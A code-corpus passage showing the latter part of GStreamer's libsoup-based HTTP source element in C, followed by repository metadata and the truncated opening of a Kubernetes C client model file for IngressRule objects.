GST_TYPE_STRUCTURE, headers, NULL); gst_structure_free (headers); headers = gst_structure_new_empty ("response-headers"); soup_message_headers_foreach (msg->response_headers, insert_http_header, headers); gst_structure_set (http_headers, "response-headers", GST_TYPE_STRUCTURE, headers, NULL); gst_structure_free (headers); gst_element_post_message (GST_ELEMENT_CAST (src), gst_message_new_element (GST_OBJECT_CAST (src), gst_structure_copy (http_headers))); if (msg->status_code == SOUP_STATUS_UNAUTHORIZED) { /* force an error */ gst_structure_free (http_headers); return gst_soup_http_src_parse_status (msg, src); } src->got_headers = TRUE; g_cond_broadcast (&src->have_headers_cond); http_headers_event = gst_event_new_custom (GST_EVENT_CUSTOM_DOWNSTREAM_STICKY, http_headers); gst_event_replace (&src->http_headers_event, http_headers_event); gst_event_unref (http_headers_event); /* Parse Content-Length. */ if (soup_message_headers_get_encoding (msg->response_headers) == SOUP_ENCODING_CONTENT_LENGTH) { newsize = src->request_position + soup_message_headers_get_content_length (msg->response_headers); if (!src->have_size || (src->content_size != newsize)) { src->content_size = newsize; src->have_size = TRUE; src->seekable = TRUE; GST_DEBUG_OBJECT (src, "size = %" G_GUINT64_FORMAT, src->content_size); basesrc = GST_BASE_SRC_CAST (src); basesrc->segment.duration = src->content_size; gst_element_post_message (GST_ELEMENT (src), gst_message_new_duration_changed (GST_OBJECT (src))); } } /* If the server reports Accept-Ranges: none we don't have to try * doing range requests at all */ if ((accept_ranges = soup_message_headers_get_one (msg->response_headers, "Accept-Ranges"))) { if (g_ascii_strcasecmp (accept_ranges, "none") == 0) src->seekable = FALSE; } /* Icecast stuff */ tag_list = gst_tag_list_new_empty (); if ((value = soup_message_headers_get_one (msg->response_headers, "icy-metaint")) != NULL) { gint icy_metaint; if (g_utf8_validate (value, -1, NULL)) { icy_metaint = atoi (value); GST_DEBUG_OBJECT (src, "icy-metaint: %s (parsed: %d)", value, icy_metaint); if (icy_metaint > 0) { if (src->src_caps) gst_caps_unref (src->src_caps); src->src_caps = gst_caps_new_simple ("application/x-icy", "metadata-interval", G_TYPE_INT, icy_metaint, NULL); gst_base_src_set_caps (GST_BASE_SRC (src), src->src_caps); } } } if ((value = soup_message_headers_get_content_type (msg->response_headers, &params)) != NULL) { if (!g_utf8_validate (value, -1, NULL)) { GST_WARNING_OBJECT (src, "Content-Type is invalid UTF-8"); } else if (g_ascii_strcasecmp (value, "audio/L16") == 0) { gint channels = 2; gint rate = 44100; char *param; GST_DEBUG_OBJECT (src, "Content-Type: %s", value); if (src->src_caps) { gst_caps_unref (src->src_caps); src->src_caps = NULL; } param = g_hash_table_lookup (params, "channels"); if (param != NULL) { guint64 val = g_ascii_strtoull (param, NULL, 10); if (val < 64) channels = val; else channels = 0; } param = g_hash_table_lookup (params, "rate"); if (param != NULL) { guint64 val = g_ascii_strtoull (param, NULL, 10); if (val < G_MAXINT) rate = val; else rate = 0; } if (rate > 0 && channels > 0) { src->src_caps = gst_caps_new_simple ("audio/x-unaligned-raw", "format", G_TYPE_STRING, "S16BE", "layout", G_TYPE_STRING, "interleaved", "channels", G_TYPE_INT, channels, "rate", G_TYPE_INT, rate, NULL); gst_base_src_set_caps (GST_BASE_SRC (src), src->src_caps); } } else { GST_DEBUG_OBJECT (src, "Content-Type: %s", value); /* Set the Content-Type field on the caps */ if (src->src_caps) { src->src_caps = gst_caps_make_writable (src->src_caps); gst_caps_set_simple (src->src_caps, "content-type", G_TYPE_STRING, value, NULL); gst_base_src_set_caps (GST_BASE_SRC (src), src->src_caps); } } } if (params != NULL) g_hash_table_destroy (params); if ((value = soup_message_headers_get_one (msg->response_headers, "icy-name")) != NULL) { if (g_utf8_validate (value, -1, NULL)) { g_free (src->iradio_name); src->iradio_name = gst_soup_http_src_unicodify (value); if (src->iradio_name) { gst_tag_list_add (tag_list, GST_TAG_MERGE_REPLACE, GST_TAG_ORGANIZATION, src->iradio_name, NULL); } } } if ((value = soup_message_headers_get_one (msg->response_headers, "icy-genre")) != NULL) { if (g_utf8_validate (value, -1, NULL)) { g_free (src->iradio_genre); src->iradio_genre = gst_soup_http_src_unicodify (value); if (src->iradio_genre) { gst_tag_list_add (tag_list, GST_TAG_MERGE_REPLACE, GST_TAG_GENRE, src->iradio_genre, NULL); } } } if ((value = soup_message_headers_get_one (msg->response_headers, "icy-url")) != NULL) { if (g_utf8_validate (value, -1, NULL)) { g_free (src->iradio_url); src->iradio_url = gst_soup_http_src_unicodify (value); if (src->iradio_url) { gst_tag_list_add (tag_list, GST_TAG_MERGE_REPLACE, GST_TAG_LOCATION, src->iradio_url, NULL); } } } if (!gst_tag_list_is_empty (tag_list)) { GST_DEBUG_OBJECT (src, "calling gst_element_found_tags with %" GST_PTR_FORMAT, tag_list); gst_pad_push_event (GST_BASE_SRC_PAD (src), gst_event_new_tag (tag_list)); } else { gst_tag_list_unref (tag_list); } /* Handle HTTP errors. */ return gst_soup_http_src_parse_status (msg, src); } static GstBuffer * gst_soup_http_src_alloc_buffer (GstSoupHTTPSrc * src) { GstBaseSrc *basesrc = GST_BASE_SRC_CAST (src); GstFlowReturn rc; GstBuffer *gstbuf; rc = GST_BASE_SRC_CLASS (parent_class)->alloc (basesrc, -1, basesrc->blocksize, &gstbuf); if (G_UNLIKELY (rc != GST_FLOW_OK)) { return NULL; } return gstbuf; } #define SOUP_HTTP_SRC_ERROR(src,soup_msg,cat,code,error_message) \ do { \ GST_ELEMENT_ERROR_WITH_DETAILS ((src), cat, code, ("%s", error_message), \ ("%s (%d), URL: %s, Redirect to: %s", (soup_msg)->reason_phrase, \ (soup_msg)->status_code, (src)->location, GST_STR_NULL ((src)->redirection_uri)), \ ("http-status-code", G_TYPE_UINT, (soup_msg)->status_code, \ "http-redirect-uri", G_TYPE_STRING, GST_STR_NULL ((src)->redirection_uri), NULL)); \ } while(0) static GstFlowReturn gst_soup_http_src_parse_status (SoupMessage * msg, GstSoupHTTPSrc * src) { if (msg->method == SOUP_METHOD_HEAD) { if (!SOUP_STATUS_IS_SUCCESSFUL (msg->status_code)) GST_DEBUG_OBJECT (src, "Ignoring error %d during HEAD request", msg->status_code); return GST_FLOW_OK; } if (SOUP_STATUS_IS_TRANSPORT_ERROR (msg->status_code)) { switch (msg->status_code) { case SOUP_STATUS_CANT_RESOLVE: case SOUP_STATUS_CANT_RESOLVE_PROXY: SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, NOT_FOUND, _("Could not resolve server name.")); return GST_FLOW_ERROR; case SOUP_STATUS_CANT_CONNECT: case SOUP_STATUS_CANT_CONNECT_PROXY: SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, OPEN_READ, _("Could not establish connection to server.")); return GST_FLOW_ERROR; case SOUP_STATUS_SSL_FAILED: SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, OPEN_READ, _("Secure connection setup failed.")); return GST_FLOW_ERROR; case SOUP_STATUS_IO_ERROR: if (src->max_retries == -1 || src->retry_count < src->max_retries) return GST_FLOW_CUSTOM_ERROR; SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, READ, _("A network error occurred, or the server closed the connection " "unexpectedly.")); return GST_FLOW_ERROR; case SOUP_STATUS_MALFORMED: SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, READ, _("Server sent bad data.")); return GST_FLOW_ERROR; case SOUP_STATUS_CANCELLED: /* No error message when interrupted by program. */ break; } return GST_FLOW_OK; } if (SOUP_STATUS_IS_CLIENT_ERROR (msg->status_code) || SOUP_STATUS_IS_REDIRECTION (msg->status_code) || SOUP_STATUS_IS_SERVER_ERROR (msg->status_code)) { const gchar *reason_phrase; reason_phrase = msg->reason_phrase; if (reason_phrase && !g_utf8_validate (reason_phrase, -1, NULL)) { GST_ERROR_OBJECT (src, "Invalid UTF-8 in reason"); reason_phrase = "(invalid)"; } /* Report HTTP error. */ /* when content_size is unknown and we have just finished receiving * a body message, requests that go beyond the content limits will result * in an error. Here we convert those to EOS */ if (msg->status_code == SOUP_STATUS_REQUESTED_RANGE_NOT_SATISFIABLE && src->have_body && !src->have_size) { GST_DEBUG_OBJECT (src, "Requested range out of limits and received full " "body, returning EOS"); return GST_FLOW_EOS; } /* FIXME: reason_phrase is not translated and not suitable for user * error dialog according to libsoup documentation. */ if (msg->status_code == SOUP_STATUS_NOT_FOUND) { SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, NOT_FOUND, (reason_phrase)); } else if (msg->status_code == SOUP_STATUS_UNAUTHORIZED || msg->status_code == SOUP_STATUS_PAYMENT_REQUIRED || msg->status_code == SOUP_STATUS_FORBIDDEN || msg->status_code == SOUP_STATUS_PROXY_AUTHENTICATION_REQUIRED) { SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, NOT_AUTHORIZED, (reason_phrase)); } else { SOUP_HTTP_SRC_ERROR (src, msg, RESOURCE, OPEN_READ, (reason_phrase)); } return GST_FLOW_ERROR; } return GST_FLOW_OK; } static void gst_soup_http_src_restarted_cb (SoupMessage * msg, GstSoupHTTPSrc * src) { if (soup_session_would_redirect (src->session, msg)) { src->redirection_uri = soup_uri_to_string (soup_message_get_uri (msg), FALSE); src->redirection_permanent = (msg->status_code == SOUP_STATUS_MOVED_PERMANENTLY); GST_DEBUG_OBJECT (src, "%u redirect to \"%s\" (permanent %d)", msg->status_code, src->redirection_uri, src->redirection_permanent); } } static gboolean gst_soup_http_src_build_message (GstSoupHTTPSrc * src, const gchar * method) { g_return_val_if_fail (src->msg == NULL, FALSE); src->msg = soup_message_new (method, src->location); if (!src->msg) { GST_ELEMENT_ERROR (src, RESOURCE, OPEN_READ, ("Error parsing URL."), ("URL: %s", src->location)); return FALSE; } /* Duplicating the defaults of libsoup here. We don't want to set a * User-Agent in the session as each source might have its own User-Agent * set */ if (!src->user_agent || !*src->user_agent) { gchar *user_agent = g_strdup_printf ("libsoup/%u.%u.%u", soup_get_major_version (), soup_get_minor_version (), soup_get_micro_version ()); soup_message_headers_append (src->msg->request_headers, "User-Agent", user_agent); g_free (user_agent); } else if (g_str_has_suffix (src->user_agent, " ")) { gchar *user_agent = g_strdup_printf ("%slibsoup/%u.%u.%u", src->user_agent, soup_get_major_version (), soup_get_minor_version (), soup_get_micro_version ()); soup_message_headers_append (src->msg->request_headers, "User-Agent", user_agent); g_free (user_agent); } else { soup_message_headers_append (src->msg->request_headers, "User-Agent", src->user_agent); } if (!src->keep_alive) { soup_message_headers_append (src->msg->request_headers, "Connection", "close"); } if (src->iradio_mode) { soup_message_headers_append (src->msg->request_headers, "icy-metadata", "1"); } if (src->cookies) { gchar **cookie; for (cookie = src->cookies; *cookie != NULL; cookie++) { soup_message_headers_append (src->msg->request_headers, "Cookie", *cookie); } } if (!src->compress) soup_message_disable_feature (src->msg, SOUP_TYPE_CONTENT_DECODER); soup_message_set_flags (src->msg, SOUP_MESSAGE_OVERWRITE_CHUNKS | (src->automatic_redirect ? 0 : SOUP_MESSAGE_NO_REDIRECT)); if (src->automatic_redirect) { g_signal_connect (src->msg, "restarted", G_CALLBACK (gst_soup_http_src_restarted_cb), src); } gst_soup_http_src_add_range_header (src, src->request_position, src->stop_position); gst_soup_http_src_add_extra_headers (src); return TRUE; } /* Lock taken */ static GstFlowReturn gst_soup_http_src_send_message (GstSoupHTTPSrc * src) { GstFlowReturn ret; GError *error = NULL; g_return_val_if_fail (src->msg != NULL, GST_FLOW_ERROR); g_assert (src->input_stream == NULL); src->input_stream = soup_session_send (src->session, src->msg, src->cancellable, &error); if (g_cancellable_is_cancelled (src->cancellable)) { ret = GST_FLOW_FLUSHING; goto done; } ret = gst_soup_http_src_got_headers (src, src->msg); if (ret != GST_FLOW_OK) { goto done; } if (!src->input_stream) { GST_DEBUG_OBJECT (src, "Didn't get an input stream: %s", error->message); ret = GST_FLOW_ERROR; goto done; } if (SOUP_STATUS_IS_SUCCESSFUL (src->msg->status_code)) { GST_DEBUG_OBJECT (src, "Successfully got a reply"); } else { /* FIXME - be more helpful to people debugging */ ret = GST_FLOW_ERROR; } done: if (error) g_error_free (error); return ret; } static GstFlowReturn gst_soup_http_src_do_request (GstSoupHTTPSrc * src, const gchar * method) { GstFlowReturn ret; if (src->max_retries != -1 && src->retry_count > src->max_retries) { GST_DEBUG_OBJECT (src, "Max retries reached"); return GST_FLOW_ERROR; } src->retry_count++; /* EOS immediately if we have an empty segment */ if (src->request_position == src->stop_position) return GST_FLOW_EOS; GST_LOG_OBJECT (src, "Running request for method: %s", method); /* Update the position if we are retrying */ if (src->msg && src->request_position > 0) { gst_soup_http_src_add_range_header (src, src->request_position, src->stop_position); } else if (src->msg && src->request_position == 0) soup_message_headers_remove (src->msg->request_headers, "Range"); /* add_range_header() has the side effect of setting read_position to * the requested position. This *needs* to be set regardless of having * a message or not. Failure to do so would result in calculation being * done with stale/wrong read position */ src->read_position = src->request_position; if (!src->msg) { if (!gst_soup_http_src_build_message (src, method)) { return GST_FLOW_ERROR; } } if (g_cancellable_is_cancelled (src->cancellable)) { GST_INFO_OBJECT (src, "interrupted"); return GST_FLOW_FLUSHING; } ret = gst_soup_http_src_send_message (src); /* Check if Range header was respected. */ if (ret == GST_FLOW_OK && src->request_position > 0 && src->msg->status_code != SOUP_STATUS_PARTIAL_CONTENT) { src->seekable = FALSE; GST_ELEMENT_ERROR_WITH_DETAILS (src, RESOURCE, SEEK, (_("Server does not support seeking.")), ("Server does not accept Range HTTP header, URL: %s, Redirect to: %s", src->location, GST_STR_NULL (src->redirection_uri)), ("http-status-code", G_TYPE_UINT, src->msg->status_code, "http-redirection-uri", G_TYPE_STRING, GST_STR_NULL (src->redirection_uri), NULL)); ret = GST_FLOW_ERROR; } return ret; } /* * Check if the bytes_read is above a certain threshold of the blocksize, if * that happens a few times in a row, increase the blocksize; Do the same in * the opposite direction to reduce the blocksize. */ static void gst_soup_http_src_check_update_blocksize (GstSoupHTTPSrc * src, gint64 bytes_read) { guint blocksize = gst_base_src_get_blocksize (GST_BASE_SRC_CAST (src)); gint64 time_since_last_read = g_get_monotonic_time () * GST_USECOND - src->last_socket_read_time; GST_LOG_OBJECT (src, "Checking to update blocksize. Read: %" G_GINT64_FORMAT " bytes, blocksize: %u bytes, time since last read: %" GST_TIME_FORMAT, bytes_read, blocksize, GST_TIME_ARGS (time_since_last_read)); if (bytes_read >= blocksize * GROW_BLOCKSIZE_LIMIT && time_since_last_read <= GROW_TIME_LIMIT) { src->reduce_blocksize_count = 0; src->increase_blocksize_count++; if (src->increase_blocksize_count >= GROW_BLOCKSIZE_COUNT) { blocksize *= GROW_BLOCKSIZE_FACTOR; GST_DEBUG_OBJECT (src, "Increased blocksize to %u", blocksize); gst_base_src_set_blocksize (GST_BASE_SRC_CAST (src), blocksize); src->increase_blocksize_count = 0; } } else if (bytes_read < blocksize * REDUCE_BLOCKSIZE_LIMIT || time_since_last_read > GROW_TIME_LIMIT) { src->reduce_blocksize_count++; src->increase_blocksize_count = 0; if (src->reduce_blocksize_count >= REDUCE_BLOCKSIZE_COUNT) { blocksize *= REDUCE_BLOCKSIZE_FACTOR; blocksize = MAX (blocksize, src->minimum_blocksize); GST_DEBUG_OBJECT (src, "Decreased blocksize to %u", blocksize); gst_base_src_set_blocksize (GST_BASE_SRC_CAST (src), blocksize); src->reduce_blocksize_count = 0; } } else { src->reduce_blocksize_count = src->increase_blocksize_count = 0; } } static void gst_soup_http_src_update_position (GstSoupHTTPSrc * src, gint64 bytes_read) { GstBaseSrc *basesrc = GST_BASE_SRC_CAST (src); guint64 new_position; new_position = src->read_position + bytes_read; if (G_LIKELY (src->request_position == src->read_position)) src->request_position = new_position; src->read_position = new_position; if (src->have_size) { if (new_position > src->content_size) { GST_DEBUG_OBJECT (src, "Got position previous estimated content size " "(%" G_GINT64_FORMAT " > %" G_GINT64_FORMAT ")", new_position, src->content_size); src->content_size = new_position; basesrc->segment.duration = src->content_size; gst_element_post_message (GST_ELEMENT (src), gst_message_new_duration_changed (GST_OBJECT (src))); } else if (new_position == src->content_size) { GST_DEBUG_OBJECT (src, "We're EOS now"); } } } static GstFlowReturn gst_soup_http_src_read_buffer (GstSoupHTTPSrc * src, GstBuffer ** outbuf) { gssize read_bytes; GstMapInfo mapinfo; GstBaseSrc *bsrc; GstFlowReturn ret; bsrc = GST_BASE_SRC_CAST (src); *outbuf = gst_soup_http_src_alloc_buffer (src); if (!*outbuf) { GST_WARNING_OBJECT (src, "Failed to allocate buffer"); return GST_FLOW_ERROR; } if (!gst_buffer_map (*outbuf, &mapinfo, GST_MAP_WRITE)) { GST_WARNING_OBJECT (src, "Failed to map buffer"); return GST_FLOW_ERROR; } read_bytes = g_input_stream_read (src->input_stream, mapinfo.data, mapinfo.size, src->cancellable, NULL); GST_DEBUG_OBJECT (src, "Read %" G_GSSIZE_FORMAT " bytes from http input", read_bytes); g_mutex_lock (&src->mutex); if (g_cancellable_is_cancelled (src->cancellable)) { gst_buffer_unmap (*outbuf, &mapinfo); gst_buffer_unref (*outbuf); g_mutex_unlock (&src->mutex); return GST_FLOW_FLUSHING; } gst_buffer_unmap (*outbuf, &mapinfo); if (read_bytes > 0) { gst_buffer_set_size (*outbuf, read_bytes); GST_BUFFER_OFFSET (*outbuf) = bsrc->segment.position; ret = GST_FLOW_OK; gst_soup_http_src_update_position (src, read_bytes); /* Got some data, reset retry counter */ src->retry_count = 0; gst_soup_http_src_check_update_blocksize (src, read_bytes); src->last_socket_read_time = g_get_monotonic_time () * GST_USECOND; /* If we're at the end of a range request, read again to let libsoup * finalize the request. This allows to reuse the connection again later, * otherwise we would have to cancel the message and close the connection */ if (bsrc->segment.stop != -1 && bsrc->segment.position + read_bytes >= bsrc->segment.stop) { guint8 tmp[128]; g_object_unref (src->msg); src->msg = NULL; src->have_body = TRUE; /* This should return immediately as we're at the end of the range */ read_bytes = g_input_stream_read (src->input_stream, tmp, sizeof (tmp), src->cancellable, NULL); if (read_bytes > 0) GST_ERROR_OBJECT (src, "Read %" G_GSIZE_FORMAT " bytes after end of range", read_bytes); } } else { gst_buffer_unref (*outbuf); if (read_bytes < 0 || (src->have_size && src->read_position < src->content_size)) { /* Maybe the server disconnected, retry */ ret = GST_FLOW_CUSTOM_ERROR; } else { g_object_unref (src->msg); src->msg = NULL; ret = GST_FLOW_EOS; src->have_body = TRUE; } } g_mutex_unlock (&src->mutex); return ret; } static GstFlowReturn gst_soup_http_src_create (GstPushSrc * psrc, GstBuffer ** outbuf) { GstSoupHTTPSrc *src; GstFlowReturn ret = GST_FLOW_OK; GstEvent *http_headers_event = NULL; src = GST_SOUP_HTTP_SRC (psrc); retry: g_mutex_lock (&src->mutex); /* Check for pending position change */ if (src->request_position != src->read_position) { if (src->input_stream) { g_input_stream_close (src->input_stream, src->cancellable, NULL); g_object_unref (src->input_stream); src->input_stream = NULL; } } if (g_cancellable_is_cancelled (src->cancellable)) { ret = GST_FLOW_FLUSHING; g_mutex_unlock (&src->mutex); goto done; } /* If we have no open connection to the server, start one */ if (!src->input_stream) { *outbuf = NULL; ret = gst_soup_http_src_do_request (src, src->method ? src->method : SOUP_METHOD_GET); http_headers_event = src->http_headers_event; src->http_headers_event = NULL; } g_mutex_unlock (&src->mutex); if (ret == GST_FLOW_OK || ret == GST_FLOW_CUSTOM_ERROR) { if (http_headers_event) { gst_pad_push_event (GST_BASE_SRC_PAD (src), http_headers_event); http_headers_event = NULL; } } if (ret == GST_FLOW_OK) ret = gst_soup_http_src_read_buffer (src, outbuf); done: GST_DEBUG_OBJECT (src, "Returning %d %s", ret, gst_flow_get_name (ret)); if (ret != GST_FLOW_OK) { if (http_headers_event) gst_event_unref (http_headers_event); g_mutex_lock (&src->mutex); if (src->input_stream) { g_object_unref (src->input_stream); src->input_stream = NULL; } g_mutex_unlock (&src->mutex); if (ret == GST_FLOW_CUSTOM_ERROR) { ret = GST_FLOW_OK; goto retry; } } if (ret == GST_FLOW_FLUSHING) { g_mutex_lock (&src->mutex); src->retry_count = 0; g_mutex_unlock (&src->mutex); } return ret; } static gboolean gst_soup_http_src_start (GstBaseSrc * bsrc) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (bsrc); GST_DEBUG_OBJECT (src, "start(\"%s\")", src->location); return gst_soup_http_src_session_open (src); } static gboolean gst_soup_http_src_stop (GstBaseSrc * bsrc) { GstSoupHTTPSrc *src; src = GST_SOUP_HTTP_SRC (bsrc); GST_DEBUG_OBJECT (src, "stop()"); if (src->keep_alive && !src->msg && !src->session_is_shared) gst_soup_http_src_cancel_message (src); else gst_soup_http_src_session_close (src); gst_soup_http_src_reset (src); return TRUE; } static GstStateChangeReturn gst_soup_http_src_change_state (GstElement * element, GstStateChange transition) { GstStateChangeReturn ret; GstSoupHTTPSrc *src; src = GST_SOUP_HTTP_SRC (element); switch (transition) { case GST_STATE_CHANGE_READY_TO_NULL: gst_soup_http_src_session_close (src); break; default: break; } ret = GST_ELEMENT_CLASS (parent_class)->change_state (element, transition); return ret; } static void gst_soup_http_src_set_context (GstElement * element, GstContext * context) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (element); if (g_strcmp0 (gst_context_get_context_type (context), GST_SOUP_SESSION_CONTEXT) == 0) { const GstStructure *s = gst_context_get_structure (context); GST_OBJECT_LOCK (src); if (src->external_session) g_object_unref (src->external_session); src->external_session = NULL; gst_structure_get (s, "session", SOUP_TYPE_SESSION, &src->external_session, NULL); src->forced_external_session = FALSE; gst_structure_get (s, "force", G_TYPE_BOOLEAN, &src->forced_external_session, NULL); GST_DEBUG_OBJECT (src, "Setting external session %p (force: %d)", src->external_session, src->forced_external_session); GST_OBJECT_UNLOCK (src); } GST_ELEMENT_CLASS (parent_class)->set_context (element, context); } /* Interrupt a blocking request. */ static gboolean gst_soup_http_src_unlock (GstBaseSrc * bsrc) { GstSoupHTTPSrc *src; src = GST_SOUP_HTTP_SRC (bsrc); GST_DEBUG_OBJECT (src, "unlock()"); gst_soup_http_src_cancel_message (src); return TRUE; } /* Interrupt interrupt. */ static gboolean gst_soup_http_src_unlock_stop (GstBaseSrc * bsrc) { GstSoupHTTPSrc *src; src = GST_SOUP_HTTP_SRC (bsrc); GST_DEBUG_OBJECT (src, "unlock_stop()"); g_cancellable_reset (src->cancellable); return TRUE; } static gboolean gst_soup_http_src_get_size (GstBaseSrc * bsrc, guint64 * size) { GstSoupHTTPSrc *src; src = GST_SOUP_HTTP_SRC (bsrc); if (src->have_size) { GST_DEBUG_OBJECT (src, "get_size() = %" G_GUINT64_FORMAT, src->content_size); *size = src->content_size; return TRUE; } GST_DEBUG_OBJECT (src, "get_size() = FALSE"); return FALSE; } static void gst_soup_http_src_check_seekable (GstSoupHTTPSrc * src) { GstFlowReturn ret = GST_FLOW_OK; /* Special case to check if the server allows range requests * before really starting to get data in the buffer creation * loops. */ if (!src->got_headers && GST_STATE (src) >= GST_STATE_PAUSED) { g_mutex_lock (&src->mutex); while (!src->got_headers && !g_cancellable_is_cancelled (src->cancellable) && ret == GST_FLOW_OK) { if ((src->msg && src->msg->method != SOUP_METHOD_HEAD)) { /* wait for the current request to finish */ g_cond_wait (&src->have_headers_cond, &src->mutex); } else { if (gst_soup_http_src_session_open (src)) { ret = gst_soup_http_src_do_request (src, SOUP_METHOD_HEAD); } } } g_mutex_unlock (&src->mutex); } } static gboolean gst_soup_http_src_is_seekable (GstBaseSrc * bsrc) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (bsrc); gst_soup_http_src_check_seekable (src); return src->seekable; } static gboolean gst_soup_http_src_do_seek (GstBaseSrc * bsrc, GstSegment * segment) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (bsrc); GST_DEBUG_OBJECT (src, "do_seek(%" G_GUINT64_FORMAT "-%" G_GUINT64_FORMAT ")", segment->start, segment->stop); if (src->read_position == segment->start && src->request_position == src->read_position && src->stop_position == segment->stop) { GST_DEBUG_OBJECT (src, "Seek to current read/end position and no seek pending"); return TRUE; } gst_soup_http_src_check_seekable (src); /* If we have no headers we don't know yet if it is seekable or not. * Store the start position and error out later if it isn't */ if (src->got_headers && !src->seekable) { GST_WARNING_OBJECT (src, "Not seekable"); return FALSE; } if (segment->rate < 0.0 || segment->format != GST_FORMAT_BYTES) { GST_WARNING_OBJECT (src, "Invalid seek segment"); return FALSE; } if (src->have_size && segment->start >= src->content_size) { GST_WARNING_OBJECT (src, "Potentially seeking behind end of file, might EOS immediately"); } /* Wait for create() to handle the jump in offset. */ src->request_position = segment->start; src->stop_position = segment->stop; return TRUE; } static gboolean gst_soup_http_src_query (GstBaseSrc * bsrc, GstQuery * query) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (bsrc); gboolean ret; GstSchedulingFlags flags; gint minsize, maxsize, align; switch (GST_QUERY_TYPE (query)) { case GST_QUERY_URI: gst_query_set_uri (query, src->location); if (src->redirection_uri != NULL) { gst_query_set_uri_redirection (query, src->redirection_uri); gst_query_set_uri_redirection_permanent (query, src->redirection_permanent); } ret = TRUE; break; default: ret = FALSE; break; } if (!ret) ret = GST_BASE_SRC_CLASS (parent_class)->query (bsrc, query); switch (GST_QUERY_TYPE (query)) { case GST_QUERY_SCHEDULING: gst_query_parse_scheduling (query, &flags, &minsize, &maxsize, &align); flags |= GST_SCHEDULING_FLAG_BANDWIDTH_LIMITED; gst_query_set_scheduling (query, flags, minsize, maxsize, align); break; default: break; } return ret; } static gboolean gst_soup_http_src_set_location (GstSoupHTTPSrc * src, const gchar * uri, GError ** error) { const char *alt_schemes[] = { "icy://", "icyx://" }; guint i; if (src->location) { g_free (src->location); src->location = NULL; } if (uri == NULL) return FALSE; for (i = 0; i < G_N_ELEMENTS (alt_schemes); i++) { if (g_str_has_prefix (uri, alt_schemes[i])) { src->location = g_strdup_printf ("http://%s", uri + strlen (alt_schemes[i])); return TRUE; } } if (src->redirection_uri) { g_free (src->redirection_uri); src->redirection_uri = NULL; } src->location = g_strdup (uri); return TRUE; } static gboolean gst_soup_http_src_set_proxy (GstSoupHTTPSrc * src, const gchar * uri) { if (src->proxy) { soup_uri_free (src->proxy); src->proxy = NULL; } if (uri == NULL || *uri == '\0') return TRUE; if (g_strstr_len (uri, -1, "://")) { src->proxy = soup_uri_new (uri); } else { gchar *new_uri = g_strconcat ("http://", uri, NULL); src->proxy = soup_uri_new (new_uri); g_free (new_uri); } return (src->proxy != NULL); } static GstURIType gst_soup_http_src_uri_get_type (GType type) { return GST_URI_SRC; } static const gchar *const * gst_soup_http_src_uri_get_protocols (GType type) { static const gchar *protocols[] = { "http", "https", "icy", "icyx", NULL }; return protocols; } static gchar * gst_soup_http_src_uri_get_uri (GstURIHandler * handler) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (handler); /* FIXME: make thread-safe */ return g_strdup (src->location); } static gboolean gst_soup_http_src_uri_set_uri (GstURIHandler * handler, const gchar * uri, GError ** error) { GstSoupHTTPSrc *src = GST_SOUP_HTTP_SRC (handler); return gst_soup_http_src_set_location (src, uri, error); } static void gst_soup_http_src_uri_handler_init (gpointer g_iface, gpointer iface_data) { GstURIHandlerInterface *iface = (GstURIHandlerInterface *) g_iface; iface->get_type = gst_soup_http_src_uri_get_type; iface->get_protocols = gst_soup_http_src_uri_get_protocols; iface->get_uri = gst_soup_http_src_uri_get_uri; iface->set_uri = gst_soup_http_src_uri_set_uri; }
32.296854
124
0.690951
f08216d2c8f2b60be4fedf225c47e60ef94401d4
3,381
c
C
kubernetes/model/extensions_v1beta1_ingress_rule.c
minerba/c
8eb6593e55d0e5d57a2dd3153c15c9645de677bc
[ "Apache-2.0" ]
69
2020-03-17T13:47:05.000Z
2022-03-30T08:25:05.000Z
kubernetes/model/extensions_v1beta1_ingress_rule.c
minerba/c
8eb6593e55d0e5d57a2dd3153c15c9645de677bc
[ "Apache-2.0" ]
115
2020-03-17T14:53:19.000Z
2022-03-31T11:31:30.000Z
kubernetes/model/extensions_v1beta1_ingress_rule.c
minerba/c
8eb6593e55d0e5d57a2dd3153c15c9645de677bc
[ "Apache-2.0" ]
28
2020-03-17T13:42:21.000Z
2022-03-19T23:37:16.000Z
#include <stdlib.h> #include <string.h> #include <stdio.h> #include "extensions_v1beta1_ingress_rule.h" extensions_v1beta1_ingress_rule_t *extensions_v1beta1_ingress_rule_create( char *host, extensions_v1beta1_http_ingress_rule_value_t *http ) { extensions_v1beta1_ingress_rule_t *extensions_v1beta1_ingress_rule_local_var = malloc(sizeof(extensions_v1beta1_ingress_rule_t)); if (!extensions_v1beta1_ingress_rule_local_var) { return NULL; } extensions_v1beta1_ingress_rule_local_var->host = host; extensions_v1beta1_ingress_rule_local_var->http = http; return extensions_v1beta1_ingress_rule_local_var; } void extensions_v1beta1_ingress_rule_free(extensions_v1beta1_ingress_rule_t *extensions_v1beta1_ingress_rule) { if(NULL == extensions_v1beta1_ingress_rule){ return ; } listEntry_t *listEntry; if (extensions_v1beta1_ingress_rule->host) { free(extensions_v1beta1_ingress_rule->host); extensions_v1beta1_ingress_rule->host = NULL; } if (extensions_v1beta1_ingress_rule->http) { extensions_v1beta1_http_ingress_rule_value_free(extensions_v1beta1_ingress_rule->http); extensions_v1beta1_ingress_rule->http = NULL; } free(extensions_v1beta1_ingress_rule); } cJSON *extensions_v1beta1_ingress_rule_convertToJSON(extensions_v1beta1_ingress_rule_t *extensions_v1beta1_ingress_rule) { cJSON *item = cJSON_CreateObject(); // extensions_v1beta1_ingress_rule->host if(extensions_v1beta1_ingress_rule->host) { if(cJSON_AddStringToObject(item, "host", extensions_v1beta1_ingress_rule->host) == NULL) { goto fail; //String } } // extensions_v1beta1_ingress_rule->http if(extensions_v1beta1_ingress_rule->http) { cJSON *http_local_JSON = extensions_v1beta1_http_ingress_rule_value_convertToJSON(extensions_v1beta1_ingress_rule->http); if(http_local_JSON == NULL) { goto fail; //model } 